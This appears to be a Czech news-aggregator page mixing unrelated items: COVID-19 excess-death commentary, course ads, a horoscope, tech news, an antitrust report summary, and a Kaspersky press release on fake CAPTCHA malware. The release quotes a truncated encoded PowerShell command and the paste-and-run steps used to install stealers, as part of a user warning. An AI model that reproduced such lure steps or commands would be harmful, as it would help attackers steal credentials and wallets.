Corriere della sera zmiňuje zkoumání úmrtnosti ve dvou dalších městech: Cernusco sul Naviglio (33 tisíc obyvatel) a Pesaro (94 tisíc obyvatel). V obou případech vychází počet „neobvyklých úmrtí“ (nad dlouhodobý průměr) na 6,1násobek oficiálního počtu úmrtí na Covid-19. Závěr? Nejenom u nakažených, ze kterých řada nemá žádné příznaky, ale i u mrtvých jsou celková čísla poněkud podezřelá. Což není úplně dobré, protože jak říká dr. Campbell ve své sérii videí, s neviditelným nepřítelem se nedá bojovat. K tomu, abychom tu nemoc mohli porazit, ji musíme nejprve dobře znát. Dvě poznámky. Jedna kratší, druhá delší. Ta kratší: nevíme, jestli všichni ti „mrtví navíc“ zemřeli na Covid-19 nebo ne. Je-li zdravotní systém přetížený, všechny choroby se stávají nebezpečnějšími. Třeba pro vás nepřijedou včas, když máte infarkt, nebo odloží důležitou operaci. Přeplněné londýnské nemocnice se potýkají s přílivem lidí nakažených koronavirem. Na ostatní pacienty nemají kapacity a těm s rakovinou hrozí, že se stanou vedlejšími obětmi koronaviru. Už to je důvod, proč se snažit, aby špička průběhu infekce v čase nebyla příliš ostrá. Ta delší poznámka: „exaktní“, nezaokrouhlená čísla vyvolávají v publiku obecně větší důvěru. Řekne-li se, že obětí je 889, působí to lépe, než řekne-li se, že jich je mezi jedním a dvěma tisíci. To první jako by psychologicky sdělovalo, že přehled o situaci je dokonalý. To druhé vcelku jasně prozrazuje, že není. Jenže reálná spolehlivost těch čísel záleží hlavně na procesu, kterým se k nim došlo, a ten v chaotické italské situaci moc exaktní nebude. Daleko spolehlivější je to, co udělal starosta Giorgio Gori, totiž počítat všechny mrtvé a srovnávat jejich počet s běžným dlouhodobým stavem. I tam budou určité nepřesnosti, protože někdo zemře o samotě v bytě a najdou jej až někdy v květnu. Ale celkově vzato, pokud se člověk zrovna beze svědků neztratí při koupání v oceánu nebo nespadne do jícnu aktivní sopky, v civilizovaném světě dříve nebo později najdou jeho tělo a vystaví mu úmrtní list. Rozdíl mezi matrikou a skutečným stavem zemřelých nebude moc velký. Naproti tomu zjistit, za které úmrtí může Covid-19 a za které ne, je v současné italské situaci daleko obtížnější, protože lékaři musejí pečovat o živé pacienty a nemají čas zkoumat těla nalezená mimo nemocnice. Až budou jednoho dne historici studovat celkové efekty Covidu-19 na různé společnosti, budou nejspíše postupovat právě stylem Giorgia Goriho. „Excess deaths“, nadpočetná úmrtí, jsou asi nejlepší měřítko, které máme k dispozici. Skrze ně se dá dopátrat po reálných poměrech i ve státech jako Mexiko, kde se všechny podezřelé případy až do potvrzení Covidu-19 klasifikují jako „atypický zápal plic“. Velkým oříškem pro budoucí výzkum ale bude zjistit, jak to skutečně proběhlo v Číně. Tady můžeme soudit jen z náznaků – například z dovozu tisíců uren do pohřebních služeb ve Wu-chanu, kde přitom podle vládních údajů mělo zemřít jen 2535 pacientů. Upřímně, podívám-li se na úmrtnost v Lombardii a v Madridu, dvou bohatých a vyspělých regionech světa, nedokážu ani předstírat, že tomu číslo 2535 věřím. {loadmodule mod_tags_similar,Související} Převzato s laskavým svolením autora z jeho webu, na kterém kromě tohoto článku najdete další texty o politice a společnosti. Knihy Mariana Kechlibara si můžete objednat ZDE.

Čas načtení: 2024-11-01 09:32:00

Potvrzujete, že nejste robot? Falešné CAPTCHA šíří nebezpečný malware

Praha 1. listopadu 2024 (PROTEXT) - Útočníci stále častěji šíří malware poměrně neobvyklou metodou: falešnou CAPTCHA jako prvotním vektorem infekce. Výzkumníci z různých společností tuto kampaň zaznamenali už v srpnu a září. Útočníci, kteří se zaměřovali především na hráče, zpočátku distribuovali obětem stealer (škodlivý program) s názvem Lumma prostřednictvím webových stránek obsahujících cracknuté hry.Náš nedávný průzkum prostředí adwaru odhalil, že se tento škodlivý CAPTCHA šíří prostřednictvím různých internetových zdrojů, které nemají s hrami nic společného: stránek pro dospělé, služeb pro sdílení souborů, sázkových platforem, anime a webových aplikací, které vydělávají na návštěvnosti. To svědčí o rozšíření distribuční sítě s cílem oslovit širší okruh obětí. Experti Kaspersky navíc zjistili, že CAPTCHA šíří nejen Lummu, ale také trojského koně Amadey.Škodlivé CAPTCHA v reklamních sítíchAbyste útočníkům nenaletěli, je důležité porozumět tomu, jak útočníci a jejich distribuční síť fungují. Reklamní síť, která stránky se škodlivou CAPTCHA protlačuje, obsahuje také legitimní, neškodné nabídky. Funguje to následovně: kliknutím kamkoli na stránku pomocí reklamního modulu je uživatel přesměrován na jiné zdroje. Většina přesměrování vede na webové stránky propagující bezpečnostní software, blokátory reklam a podobně – standardní postup pro adware. V některých případech však oběť přistane na stránce se škodlivým CAPTCHA.Na rozdíl od pravých CAPTCHA určených k ochraně webových stránek před roboty slouží tato napodobenina k propagaci pochybných stránek. Stejně jako v předchozí fázi se oběť ne vždy setká s malwarem. Například CAPTCHA na jedné ze stránek vyzývá návštěvníka k naskenování QR kódu vedoucího na web sázkové kanceláře.Trojské koně jsou šířeny prostřednictvím CAPTCHA s instrukcemi. Kliknutím na tlačítko Nejsem robot se do schránky zkopíruje řádek powershell.exe -eC bQBzAGgAdABhA<...MAIgA=">>MAIgA= a zobrazí se tzv. ověřovací kroky:Stiskněte klávesy Win + R (otevře se dialogové okno Spustit).Stiskněte klávesy CTRL + V (vloží řádek ze schránky do textového pole).Stiskněte klávesu Enter (tím se kód spustí).S podobnými pokyny se experti setkali i v jiných formátech než jen CAPTCHA. Například v okně, které je stylizované jako chybová hláška prohlížeče Chrome po neúspěšném načtení stránky. Útočníci okno vydávají za chybu aktualizace prohlížeče a instruují uživatele, aby kliknul na tlačítko Kopírovat opravu. Ačkoli se design stránky liší, scénář infekce je totožný se schématem CAPTCHA.Řádek ze schránky obsahuje příkaz PowerShellu v kódování Base64, který získá přístup k zadané adrese URL a spustí obsah stránky. Uvnitř tohoto obsahu se nachází skrytý skript PowerShell, který nakonec stáhne škodlivý soubor.Schovaný „dárek“: stealer LummaŠkodlivý skript prostředí PowerShell nejprve stáhl a spustil archiv s programem Lumma.Po spuštění spustí 0Setup.exe legitimní nástroj BitLockerToGo.exe, který je obvykle zodpovědný za šifrování a prohlížení obsahu vyměnitelných jednotek pomocí nástroje BitLocker. Tento nástroj umožňuje prohlížet, kopírovat a zapisovat soubory a také měnit různé větve registru – tuto funkci zloděj využívá.Útočníci, vyzbrojeni nástrojem BitLocker To Go, manipulují s registrem především proto, aby vytvořili větve a klíče, které trojský kůň potřebuje ke své činnosti. Poté Lumma opět pomocí tohoto nástroje vyhledá v zařízení soubory spojené s různými kryptopeněženkami oběti a ukradne je. Následně útočníci prohlížejí rozšíření prohlížeče související s digitálními peněženkami a kradou z nich data. Následně se trojský kůň pokusí ukrást soubory cookies uložené v různých prohlížečích.Nakonec malware vyhledá archivy správců hesel, aby ukradl i jejich obsah. V průběhu celého procesu shromažďování dat se trojský kůň snaží opět využít nástroj BitLocker To Go k odeslání ukradených dat na server útočníků. Jakmile malware najde a exfiltruje všechna cenná data, začne navštěvovat stránky různých online obchodů. Účelem je pravděpodobně generování dalších příjmů pro jeho provozovatele zvýšením počtu zobrazení těchto webových stránek, podobně jako u adwaru.Payload: Amadey TrojanStejná kampaň šíří také trojského koně Amadey. Ten je známý od roku 2018 a byl předmětem mnoha bezpečnostních zpráv. Lze říct, že trojský kůň stahuje několik modulů pro krádež přihlašovacích údajů z populárních prohlížečů a různých systémů pro virtuální síťové připojení (VNC). Zjišťuje také adresy kryptopeněženek ve schránce a nahrazuje je těmi, které ovládají útočníci. Jeden z modulů dokáže také pořizovat snímky obrazovky. V některých scénářích Amadey stáhne do zařízení oběti nástroj pro vzdálený přístup Remcos, čímž útočníci získají plný přístup k zařízení.StatistikyOd 22. září do 14. října 2024 se s reklamními skripty setkalo více než 140 000 uživatelů. Telemetrické údaje společnosti Kaspersky ukazují, že z těchto 140 000 uživatelů bylo více než 20 000 přesměrováno na infikované stránky, kde se některým z nich zobrazilo falešné oznámení o aktualizaci nebo falešná CAPTCHA. Nejčastěji byli postiženi uživatelé v Brazílii, Španělsku, Itálii a Rusku. Zdroj: Kaspersky    

Čas načtení:

Word základní

[skoleni-kurzy.eu] Školení je určené začátečníkům, kteří s programem Word zatím nepracovali nebo jej používali velmi málo. Posluchači se naučí vytvářet textové dokumenty a nastavit vzhled nadpisů, odstavců, číslovaných seznamů i seznamů s odrážkami. Posluchači se naučí do dokumentu vložit obrázek a tabulku, upravit vzhled stránky, nastavit obsah zápatí a záhlaví a dokument vytisknout. * Kurz Word základní probíhá v malé skupině účastníků. Kurzu Word základní se účastní maximálně 8 osob. Kurz Word základní probíhá v plně vybavené počítačové učebně. V průběhu kurzu Word základní je pro účastníky zajištěn pitný režim a drobné občerstvení. U nás máte jistotu, že vám objednaný kurz nezrušíme. Poté co u nás kurz Word základní objednáte a my vám potvrdíme účast, garantujeme, že se kurz uskuteční. Kurz nerušíme z důvodu malého počtu zájemců. Kurz Word základní se uskuteční i pokud se něj přihlásí pouze jeden zájemce. V takovém případě probíhá kurz Word základní jako individuální, cena kurzu se nezmění. Práce s textem a nastavení formátování písma psaní speciálních znaků, česká x anglická klávesnice, klávesy pro rychlý pohyb v textu   font, velikost, druh, barva, zvýraznění, ohraničení písma   kopírování, vyjmutí a vkládání textu   klávesové zkratky pro zrychlení formátování a pohybu v textu     Nastavení odstavce zarovnání textu   nastavení odsazení, řádkování a mezer   nastavení tabulátorů   vložení konce stránky     Odrážky a číslování zapínání číslování a odrážek   změna formátu číslování a odrážek     Způsoby zobrazení dokumentu normální rozvržení, rozvržení při tisku   zobrazení skrytých znaků   rozvržení dokumentu     Nastavení vzhledu stránky formát a orientace papíru   okraje stránky   záhlaví a zápatí   vložení číslování stránek     Tabulky vytvoření tabulky   práce s řádky a sloupci, sloučení buněk   formátování tabulky     Vkládání objektů vložení obrázku   změna vlastností obrázku   výřez obrazovky   vkládání grafů a tabulek z Microsoft Excel     Nástroje pro práci s textem automatické opravy   kontrola pravopisu   vyhledávání v textu     Úvod do práce se styly výhody používání stylů   přednastavené styly   styl nadpisu a odstavce   přednastavené motivy a jejich vliv na vzhled dokumentu     Tisk a publikován ...AbecedaPC

Čas načtení:

SharePoint pro tvůrce obsahu intranetu

[skoleni-kurzy.eu] Školení je určené pro začínající a mírně pokročilé tvůrce obsahu intranetu založeného na technologii SharePoint. Cílem školení je efektivní zvládnutí tvorby a správy obsahu firemního intranetu pomocí webů, stránek a aplikací. Účastníci se naučí nastavovat oprávnění uživatelů a seznámí se s možnostmi integrace s dalšími aplikacemi Microsoft 365. * Kurz SharePoint pro tvůrce obsahu intranetu probíhá v malé skupině účastníků. Kurzu SharePoint pro tvůrce obsahu intranetu se účastní maximálně 8 osob. Kurz SharePoint pro tvůrce obsahu intranetu probíhá v plně vybavené počítačové učebně. V průběhu kurzu SharePoint pro tvůrce obsahu intranetu je pro účastníky zajištěn pitný režim a drobné občerstvení. U nás máte jistotu, že vám objednaný kurz nezrušíme. Poté co u nás kurz SharePoint pro tvůrce obsahu intranetu objednáte a my vám potvrdíme účast, garantujeme, že se kurz uskuteční. Kurz nerušíme z důvodu malého počtu zájemců. Kurz SharePoint pro tvůrce obsahu intranetu se uskuteční i pokud se něj přihlásí pouze jeden zájemce. V takovém případě probíhá kurz SharePoint pro tvůrce obsahu intranetu jako individuální, cena kurzu se nezmění. Úvod do technologie SharePoint možnosti využití   typy objektů - Weby, Stránky, Aplikace   návrh struktury intranetu     Weby typů webů   vzhled webů   podřízené weby   navigace     Stránky rozložení stránky   formátování stránky   webové části     Knihovny dokumentů nastavení knihovny   vlastnosti dokumentů   nastavení zobrazení     Vlastní seznamy vytvoření seznamu   import z Excelu   filtry, řazení a vlastní zobrazení   vyhledávací a výpočtové sloupce   propojení s aplikacemi Office     Oprávnění a sdílení úrovně oprávnění   skupiny uživatelů   dědičnost a přizpůsobení oprávnění     Integrace s Microsoft 365 Skupiny Microsoft 365   Využití v aplikaci Teams   Formuláře Forms, prezentace Sway   Automatizace pracovních postupů     ...AbecedaPC

Čas načtení: 2024-03-26 08:02:25

Jaké máte silné stránky podle znamení horoskopu?

Zavítáte rádi do sekce s horoskopy a vždy jste zvědaví, co o vás vypovídá datum vašeho narození? Zjistěte, jaké jsou vaše silné stránky podle znamení zvěrokruhu. Beran Berani jsou skvělými vůdci a rozhodně se s nimi nebojte vrhnout do jakéhokoliv dobrodružství, protože jsou velmi odvážní. Býk Potřebujete ve svém životě někoho, kdo tu pro vás pokaždé bude a také vám pomůže se uzemnit? Zjistěte, kdo z vašich přátel je ve znamení Býka. Býci jsou totiž pověstní tím, že stojí oběma nohama pevně na zemi. Blíženci Chcete v pátek večer vyrazit do klubu a seznámit se s novými lidmi, ale stud vám v tom brání? S tím vám pomohou lidé narození ve znamení Blíženců. Jejich společenská a přátelská povaha jde ruku v ruce s tím, že nemají problém najít si nové přátele. Rak Lidé narození ve znamení Raka jsou starostliví a věrní. Podobně jako Býci se pro vás stanou oporou za každé situace a vždy se na ně budete moci obrátit s jakýmkoliv problémem. Lev Lvi překypují sebedůvěrou, a protože se nebojí ani tvrdé práce a mají skvělé organizační schopnosti, jsou z nich skvělí šéfové. Panna Pečlivost, která je pro lidi narozené ve znamení Panny typická, často hraničí s perfekcionismem. Pokud se ale tato vlastnost správně využije, vzniknou z toho úžasné věci. Smysl pro detail se dá využít v architektuře, plastické chirurgii i uměleckých odvětvích. Váhy Vlastností, která spojuje jedince narozené ve znamení Vah, je smysl pro rovnováhu. Jakmile tito jedinci pocítí, že jejich pracovní život začíná převažovat nad jejich osobním, umějí nastolit balanc a ručičku vah opět dorovnat. Štír Chcete se zbavit některého ze svých zlozvyků? Nejlepším mentorem pro vás bude jedinec narozený ve znamení Štíra. Štíří silná vůle pro vás totiž bude skutečně inspirativní a bude vás motivovat k tomu, abyste ve své snaze nepolevili a k zlozvyku se... Čtěte více Příspěvek Jaké máte silné stránky podle znamení horoskopu? pochází z Extrakrasa.cz - magazín o módě, kráse a bydlení

Čas načtení: 2024-03-26 19:08:51

Umelá inteligencia Googlu podstrkuje užívateľom falošné stránky: Dávajte si pozor, na čo klikáte!

Spoločnosť Google už dávnejšie oznámila plány pridať podporu umelej inteligencie do vyhľadávania a hoci sa táto funkcia postupne rozbieha, zdá sa, že má jednu výraznú chybu. Užívateľom odporúča stránky s malvérom.   Na incident upozorňuje portál Bleeping Computer. Presnejšie umelá inteligencia Googlu odporúča užívateľom podvodné Chrome rozšírenia, falošné rozdávačky iPhonov či stránky venujúce sa podvodu … The post Umelá inteligencia Googlu podstrkuje užívateľom falošné stránky: Dávajte si pozor, na čo klikáte! appeared first on Vosveteit.sk - Správy zo sveta technológií a vedy.

Čas načtení: 2024-06-01 06:19:32

Věčná digitální stopa? Na internetu mizí obsah i celé weby, ukázal průzkum

Internet považujeme mnohdy za místo, kde obsah trvá věčně. Nic však netrvá věčně, bez výjimek. Nová studie organizace Pew Research Center zjistila, že příspěvky a webové stránky na internetu mizí závratným tempem. Neztrácejí se totiž jen staré, ale i nové posty a stránky. Problému se nevyhnou ani vládní weby. Že není špatný nápad si archivovat články nebo jiný obsah zveřejněný na internetu ukázal nový průzkum, o němž napsal britský deník The Independent. Podle něj z online prostoru mizí velké množství webových stránek a příspěvků. Think-tank organizace Pew Research Center shromáždila náhodné vzorky téměř milionu webových stránek od archivační služby Common

Čas načtení: 2024-07-09 11:25:00

MONETA spustila nové webové stránky

Praha 9. července 2024 (PROTEXT) - MONETA připravila novou podobu svých webových stránek. Celkovou proměnou prošel nejen web a jeho anglická mutace, ale i ostatní stránky spadající pod Skupinu MONETA. S ohledem na stoupající počet uživatelských přístupů z mobilních zařízení byly vzhled a čitelnost webu přizpůsobeny primárně mobilním telefonům. Jeho vizuální stránka je inspirována mobilní aplikací Smart Banka.„Při návrhu nového webu byl pro nás zásadní fakt, že od roku 2018, kdy proběhl poslední redesign webu, významně narostl počet uživatelů, kteří k jeho návštěvám využívají mobilní zařízení. Jen minulý rok jich bylo přes 65 % a toto číslo stále stoupá. Nový web je proto postaven na přístupu mobile first, díky čemuž bude návštěvníkům velmi dobře fungovat na jejich mobilních telefonech,“ říká Sandra Kalijanko, senior manažerka Web Portal, Retail Development & Direct Communication, která stojí za vznikem nových webových stránek.Byl vytvořen vzdušný, čistý a dobře čitelný design, ve kterém by se měli klienti banky snadno a jednoduše orientovat. V rámci redesignu webu moneta.cz prošly každá ikona a každý obrázek na webu grafickou úpravou, aby stránky působily moderně a konzistentně. Dominantní barvou je i nadále bílá – vzhled stránek je však sjednocený s mobilní aplikací Smart Banka, která lépe funguje na obrazovkách a v digitálním prostředí. Například hlavní tlačítko má nyní namísto zelené barvy modrou, což zajišťuje konzistentní uživatelský zážitek v momentě, kdy klient plynule přechází v rámci online sjednání produktů na webu do mobilní aplikace. Doplňkovou barvou je gradient, který již klienti banky dobře znají ze Smart Banky.„Naším hlavním cílem bylo zlepšit uživatelskou zkušenost návštěvníků webu. Celému návrhu předcházel podrobný kvalitativní a kvantitativní výzkum, který proběhl v rámci uživatelského testování v UX laboratoři či analýzy zpětné vazby klientů banky z našeho webu, chatu či call centra. Na základě získaných dat pak došlo k optimalizaci navigace a produktové stránky, stejně jako struktury dotazů, dle toho, co naši klienti nejčastěji řeší,“ popisuje vznik webu Sandra Kalijanko.Design nového webu byl navržen tak, aby splňoval potřeby nejen retailových zákazníků, ale také živnostníků a malých a středních firem. Právě proto vznikla zcela nová sekce pro komerční segment, do které se návštěvníci dostanou za pomoci tlačítka Živnostníci a firmy umístěného v levém horním rohu stránky. Kdykoliv se tak mohou přepnout a zobrazit si nabídku šitou na míru dle potřeb jejich podnikání.V rámci redesignu MONETA klade důraz na splnění norem přístupnosti webu široké veřejnosti, které budou povinné pro finanční instituce od července 2025. Jedná se zejména o přizpůsobení velikosti fontů, kontrastů a možnosti pohybu po webu prostřednictvím čteček, klávesnice nebo tabulátorů, na jejichž implementaci se aktuálně aktivně pracuje. Díky tomu bude nový web snadno ovladatelný pro všechny uživatele, včetně těch se specifickými potřebami, jako je snížená schopnost vidění nebo sluchu.Nový vzhled získaly i další internetové prezentace Skupiny MONETA, a to například monetaauto.cz, kariera.moneta.cz, esg.moneta.cz, clementia.cz a investors.moneta.cz. V rámci existence MONETA Money Bank dosud proběhly pouze dva kompletní redesigny webu – první po vzniku banky a druhý v roce 2018. ČTK Connect ke zprávě vydává obrazovou přílohu, která je k dispozici na adrese http://www.protext.cz. 

Čas načtení: 2024-10-23 18:44:24

jak na automatické znovunačtení webové stránky v Opeře v.114

Dobrý den. již zde zveřejněný návod z r. 2011 v této vrzi pro W-10 tuto volbu v menu nenabízí… Dá se to nějak udělat?  Dík Dobrý den. již zde zveřejněný návod z r. 2011 v této vrzi pro W-10 tuto Read More jak na automatické znovunačtení webové stránky v Opeře v.114 The post jak na automatické znovunačtení webové stránky v Opeře v.114 first appeared on Radírna - Internetová online poradna.

Čas načtení: 2019-08-06 19:00:00

Chcete levné webové stránky? Oslovte 2Rsolutions

Webové stránky jsou dnes základem marketingové komunikace každé firmy. Už při vymýšlení názvu společnosti je nutné vycházet z toho, že vaše firma potřebuje i vhodnou doménu, optimálně stejného znění. A prvním marketingovým počinem nové firmy musí být vytvoření webových stránek. Levné webové stránky ...

Čas načtení: 2021-11-25 12:46:57

FUBAR, čili jak by to podávalo „Ministerstvo bez filtru“ – II.

Po prvním dílu následuje slíbená ukázka toho, jakou formu komunikace s občanem bych považoval já osobně za lepší. Vyznačuje se zejména upřímností. Ještě, než jsem přestal chodit na Twitter, stihl jsem se na poslední chvíle zaplést do diskuse pod článkem rozebírajícím otázku, „zda má šéf riskovat a přiznat, že něco neví“. Pro Kristovy drahý rány, tuto mentalitu naprosto nechápu. Když člověk něco neví, tak to v podstatě musí přiznat, protože málokdo je tak dobrý herec, aby si okamžitě vymyslel nějakou věrohodně znějící lež; lidi si takových věcí všimnou. A i kdyby si jednou či dvakrát nevšimli, tak se tenhle vzorec chování bude opakovat a jednoho dne se i ten zkušený lhář dostane do zjevného rozporu s realitou, o které mluví. Načež bude jeho důvěryhodnost vážně „nakopnuta“, v podstatě vniveč. Ale ano, znám pár lidí posedlých tím, že nikdy neřeknou „nevím“. Instituce jsou v tomhle směru ještě problematičtější, rády si „zachovávají tvář“. Což ale v případě covidové krize je opravdu problém, protože to je nakonec krize vědecké podstaty a věda je založena na tom, že zkoumá věci, které neví. Kdyby věda všechno věděla, byl by to jenom archiv informací a nic víc. Nuže, jak bych si představoval webové stránky úřadu, který toto bere v potaz a nesnaží se tvářit jako neomylná autorita? Moje hypotetická představa vypadá zhruba takto. (Berte to opravdu jen jako představu, i když následující řádky jsem konzultoval se skutečným lékařem, abych tam neudělal nějaké hrubé chyby.) Fiktivní dopis Ministerstva bez filtru Milý občane, dostal ses na stránky Ministerstva bez filtru (MbF), kde se ti snažíme říkat věci podle našeho nejlepšího vědomí a svědomí. Hned zpočátku tě musíme upozornit, že medicína jen málokdy pracuje s absolutními jistotami. Většinou dokáže odpovídat jen v určitých pravděpodobnostech, někdy vysokých, někdy nízkých, ale pravděpodobnostech. Tak například je daleko pravděpodobnější, že zdravý třicátník-sportovec bude mít lepší životní vyhlídky než osmdesátiletý pacient s pokročilou rakovinou. Ale samozřejmě se může stát, že ten osmdesátník se nakonec vyléčí a bude žít dalších deset let, kdežto ten sportovec zakopne cestou z tělocvičny o vlastní rozvázanou tkaničku a zlomí si vaz. To je život, proti tomu neexistuje žádná pojistka. Hledáš-li tedy absolutní jistoty, tady jich moc nenajdeš, to je totiž „zboží“, se kterým obchodují spíš náboženské sekty a jiní šmejdi. Dále prosím vezmi v potaz, že COVID-19 je nová nemoc. Existuje zhruba dva roky, což znamená, že o ní prostě nemůžeme vědět všechno. Dokonce i u starších a déle známých nemocí se běžně stává, že se o nich zjistí něco nového. Přírodní vědy nestojí na místě, posouvají se vpřed prací vědců. Z toho plyne, že se může stát, že nějaké dřívější doporučení, které jsme předtím považovali za platné, je nutné odvolat a nahradit jiným. To je normální součást vědeckého procesu, nikoliv důkaz něčí hlouposti. Naše Ministerstvo bez filtru sleduje současné dění a udržuje tyto stránky funkční a aktualizované. Pokud zjistíme, že některé doporučení přestalo platit, přesuneme jej do archivu a jasně označíme jako neplatné, přičemž k němu dopíšeme, proč jsme jej zneplatnili. Nebudeme jej ale mazat natvrdo, aby nikdo neměl pocit, že se snažíme něco schovat. Následuje malý vzorek otázek a odpovědí. Dostanu covid, nebo se mu můžu vyhnout? Pokud žiješ v bytě sám a s nikým se moc nestýkáš, možná se mu dokážeš vyhnout. Ale pokud k tobě chodí návštěvy nebo dokonce žiješ ve více lidech v jedné domácnosti, tak je pravděpodobné, že „deltu“ ti někdo dříve či později takříkajíc dotáhne až domů. Tahle varianta je vysoce infekční a mezi lidmi obývajícími tentýž prostor se přenáší velmi snadno. Taky je možné, že už jsi covid prodělal/a bezpříznakově. Můžeš si zajít na test na protilátky, stojí pár stovek a dělají jej v těchto a těchto laboratořích (seznam). Hrozí mi těžký průběh? Lidí, kteří s covidem musejí do nemocnice, je podle současných odhadů X procent, ale mladších lidí se to týká méně a starších více. Někteří z nich skončí na JIP, odkud už se zdaleka každý nevrátí. Očkování riziko hospitalizace i těžkého průběhu snižuje. O kolik jej snižuje, to zjistíš v naší aktuální statistice případů. Pokud jsi šedesátiletý obézní diabetik, jsi na tom mnohem hůř než dvacetiletý mladík. Valná většina dosud zemřelých byla starší padesáti let a měla nějaké další nemoci. Ale neber to jako slib, že pokud jsi mladší a zdravý, nic se ti nemůže stát. Jenom máš o hodně nižší pravděpodobnost, že se ti něco stane. Konkrétní čísla najdeš v naší aktuální statistice případů. V budoucnosti budeme možná schopni odhadnout riziko těžkého průběhu přesněji. Existují vědecké týmy, jako je například tento německý, které analyzují krev pacientů a snaží se předpovědět na základě takzvaných biomarkerů, komu hrozí těžký průběh – ještě včas, aby jej bylo možno zaléčit. Ale to je zatím experimentální práce, která není dostatečně vyhodnocena a připravena k nasazení v běžné nemocnici. U rizikových pacientů lze v časné fázi onemocnění nasadit monoklonální protilátky nebo nějaké nové léky, které teď procházejí schválením (paxlovid, molnupiravir). Ale tyto přípravky jsou drahé a není jich zas tak velká zásoba, takže nespoléhej, že se na tebe dostane. Třeba v danou chvíli zrovna nebudou. Taky už nefungují u pacientů, u kterých se nemoc příliš „rozjela”; musejí se podat včas. Když už tě přivezou do nemocnice s pořádným zápalem plic, je na ně pozdě. Jak je to s klesajícím účinkem vakcín? Nejstarší vakcíny proti covidu jsou teprve rok staré, takže nemůžeme dělat nějaké předpovědi na pět či deset let dopředu. Státy, které začaly očkovat s předstihem (například Izrael), pozorovaly jako první klesající účinek vakcín, a to hlavně u starších pacientů. To není až tak divné, protože starší lidé mají obvykle slabší imunitní systém. Izraelci mají momentálně dobré výsledky se třetí dávkou, takzvaným boosterem. Proto to začaly dělat i jiné státy. Momentálně ti nikdo nedokáže slíbit, kolik těch boosterů bude potřeba, v jakých intervalech, a zda budou potřeba i u mladších lidí. V budoucnu můžou být k dispozici jiné, novější vakcíny, u kterých ten účinek tak rychle klesat nebude. Ale teď nejsou. Taky se může stát, že vzniknou nové varianty viru způsobujícího COVID-19. Několikrát už se to stalo, přičemž „indická” varianta delta je mnohem nakažlivější než původní virus z Wu-chanu. Ne všechny varianty jsou horší než ta původní, ale některé bohužel ano. Pokud se objeví nějaká nová varianta, která se začne šířit po světě, bude nutno teprve zjistit, nakolik proti ní současné vakcíny a léky fungují. To se taky nedá stihnout za den, samozřejmě. Mluvit o tom, co se neví Tak, konec vzorku. Nechci z tohoto článku dělat traktát dlouhý na tři lokte. Nějak takto bych si já osobně představoval upřímnou, férovou komunikaci s občanem. Nelhat, neslibovat zázraky, říci věci na plnou hubu – a to včetně toho, co se neví. Vlastně zejména včetně toho, co se dosud neví. Povězte, neměli byste z takového Ministerstva bez filtru (MbF) lepší dojem než z toho, co dostáváme předloženo dnes? Já tedy rozhodně ano. Dospělý člověk by měl snést určitou míru nejistoty. Úřady by s ním neměly zacházet jako s křehotinkou, která potřebuje instrukce jasné jako facka i za cenu jejich zkreslení, jinak se neuroticky zhroutí a bude volat po pevné ruce státu. No, bohužel se většina vlád rozhodla jinak a teď sklízejí plody svých rozhodnutí. Respektive sklízíme, protože pokud není člověk poustevník, od tohoto FUBARu se úplně odizolovat nedokáže.   Převzato s laskavým svolením autora z jeho webu, na kterém kromě tohoto článku najdete další texty o politice a společnosti. Knihy Mariana Kechlibara si můžete objednat ZDE.

Čas načtení: 2020-10-09 18:59:28

Výbor Kongresu: rozdělte digitální obry

Zpráva výboru amerického Kongresu hodnotí chování velkých IT firem jako zneužívání dominantního postavení a doporučuje použít proti nim antitrustové zákony. Podvýbor amerického Kongresu pro antitrustové, obchodní a regulační záležitosti vydal velmi rozsáhlou zprávu o závěrech z vyšetřování čtyř velkých IT firem – jednalo se o Amazon, Apple, Facebook a Google. Jde o výsledek dlouhého procesu, při kterém výbor zkoumal veřejné dokumenty, neveřejná data (například interní e-maily posílané mezi vysokými manažery prošetřovaných firem) a vyslechl řadu svědků, včetně ředitelů těchto firem, ale i firem jiných, které měly k jejich praktikám co říci. Zprávu najdete zde (PDF). Něco tak dlouhého (446 stran) je prakticky nemožné shrnout do jednoho článku snesitelné délky, ale přesto to zkusím, s odkazy na příslušné stránky dokumentu. Zpráva konstatuje, že všechny čtyři firmy se systematicky proviňují chováním, které vede k ohrožení hospodářské soutěže a činí vznik konkurence téměř nemožným. Co konkrétního jim tedy vyčítá? Kontrola nad trhy, kde zároveň samy prodávají Zmíněné firmy provozují velká tržiště (Google Play, Apple Store, Amazon), kde umožňují prodávat i produkty třetích stran. Samy však na těchto tržištích prodávají své vlastní produkty, které upřednostňují (strany 6, 7, 14, 16, 271, 361). Tento druh střetu zájmů byl v minulosti Kongresem řešen například u železničních kartelů, kterým bylo zakázáno přepravovat svoje vlastní zboží nebo zboží, v jehož výrobě byly zainteresovány (1893, PDF). Zneužití moci spočívá zejména v hrozbě vyřazení produktu z nabídky, které může být pro prodejce zničující (371), přičemž “pravidla jsou vymýšlena za pochodu a jednostranně”, ve znevýhodňování konkurenčních produktů, ve vynucování arbitrážních klauzulí, které znemožňují třetím stranám obrátit se na soud při řešení sporů (274). Tyto arbitráže bývají pro menšího partnera tak nevýhodné, že jich prakticky nikdo nevyužívá (274). Amazon zakazuje prodejcům kontaktovat koncové zákazníky (259), jeho proces řešení stížností je natolik neprůhledný a svévolný, že se jej firmy obávají více než státních soudů (273), ukazuje produkty třetích stran nepravdivě jako nedostupné, i když jsou skladem, pokud se chce pomstít (271). Apple vůbec neumožňuje existenci alternativních zdrojů softwaru pro svoje zařízení (iPhony, iPady), má naprostý monopol na zprostředkování aplikací vyrobených třetími stranami a neuvažuje o tom, že by konkurenční obchod s aplikacemi umožnil (96). Google sice instalaci aplikací z jiných zdrojů umožňuje, ale zakazuje konkurenčním obchodům důležité funkce, například automatickou aktualizaci aplikací (222). Jak Google, tak Apple nutí výrobce aplikací, aby pro prodeje v aplikacích využívali výlučně jejich vlastní platební portál a chtějí za to vysoké poplatky. Neumožňují jim použít jiné důvěryhodné platební portály, například PayPal. (99) Proti tomu je například trh s aplikacemi pro desktopové Windows velmi volný, nejste při jejich instalaci odkázáni ani na obchod Microsoftu, ani nemusíte platit za placené funkce jedním předepsaným způsobem, ze kterého by si Microsoft strhával poplatek. Masivní expanze do jiných oblastí obchodní činnosti Dříve úzce specializované firmy se postupně rozrostly natolik, že jejich aktivita pokrývá čím dál větší část digitálního trhu. Tomu úměrně narostla jejich síla. Jako hlavní příklad je uváděn Google, který byl původně čistě vyhledávacím strojem, vstupním portálem, který odkazoval na weby patřící jiným firmám či jednotlivcům. V současné době vykonává činnost na mnoha dalších polích, čehož dosáhl zejména akvizicemi (odkupem) 